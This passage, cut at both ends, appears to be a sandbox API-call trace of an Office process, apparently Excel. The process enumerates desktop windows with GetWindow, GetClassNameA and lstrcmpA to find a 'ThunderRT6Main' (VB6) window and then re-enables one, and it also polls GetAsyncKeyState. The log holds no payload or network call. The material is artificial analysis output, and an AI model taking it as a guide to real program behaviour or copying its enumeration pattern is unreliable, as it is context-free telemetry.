| out: lpdwProcessId=0x0) returned 0x7d4 [0119.390] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0119.390] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0119.390] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.391] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0119.391] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da08b0 [0119.391] IMalloc:Free (This=0x7fefecb5380, pv=0x7da08b0) [0122.311] GetAsyncKeyState (vKey=27) returned 0 [0122.311] GetCurrentThreadId () returned 0xbdc [0122.311] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0122.311] GetDesktopWindow () returned 0x10010 [0122.311] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0122.311] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.311] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.311] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.312] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0122.312] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.312] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.312] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0122.312] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.312] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.312] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0122.312] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0122.312] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.312] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0122.312] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.312] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0122.312] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0122.312] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0122.312] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0122.312] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0122.312] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.312] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.312] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.312] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0122.312] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.312] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0122.313] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0122.313] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0122.313] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0122.313] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0122.313] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0122.313] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0122.313] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0122.313] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.313] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0122.313] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.314] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.314] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0122.314] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0122.314] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.314] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0122.314] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0122.314] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.314] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0122.314] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.314] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.314] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0122.314] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.314] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.314] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0122.314] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0122.314] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.314] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0122.314] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0122.314] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0122.314] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.314] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0122.315] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0122.315] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0122.315] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0122.315] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.315] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.315] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.315] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0122.315] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0122.315] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.315] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.315] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.315] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0122.315] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0122.315] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.315] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.315] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.315] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0122.315] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0122.315] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0122.315] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0122.315] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0122.315] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.315] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0122.315] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0122.315] IsWindowEnabled (hWnd=0x20360) returned 0 [0122.315] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0122.316] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0122.316] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0122.316] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0122.316] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0122.316] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0122.316] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.316] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0122.316] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0122.316] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.316] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.316] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0122.316] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0122.316] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0122.316] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0122.316] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.316] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0122.316] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0122.316] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0122.316] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0122.316] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0122.316] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0122.316] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.316] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0122.316] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0122.316] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0122.316] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0122.316] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0122.316] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.317] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0122.317] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0122.317] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0122.317] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0122.317] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.317] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.317] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0122.317] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0122.317] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0122.317] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0122.317] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0122.317] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0122.317] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0122.317] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0122.317] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.317] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0122.317] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0122.317] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0122.317] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0122.317] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0122.317] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.317] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0122.317] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.317] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.317] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0122.318] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0122.318] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0122.318] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0122.318] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0122.318] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0122.318] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.318] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0122.318] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0122.318] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0122.318] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.318] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0122.318] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0122.318] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.318] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.318] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0122.318] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0122.318] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.318] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0122.318] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0122.318] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0122.318] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.318] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0122.318] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.319] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.319] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0122.319] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.319] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.319] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0122.319] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.319] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.319] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0122.319] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0122.319] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.319] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0122.319] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.319] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0122.319] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0122.319] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0122.319] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0122.319] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0122.319] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0122.319] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0122.319] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0122.319] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0122.320] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.320] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0122.320] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0122.320] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0122.320] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0122.320] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0122.320] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.320] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0122.320] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0122.320] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0122.320] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0122.320] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0122.320] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.320] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0122.320] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0122.320] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0122.320] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0122.320] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0122.320] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.320] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.320] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0122.321] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0122.321] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0122.321] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0122.321] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0122.321] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.321] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: 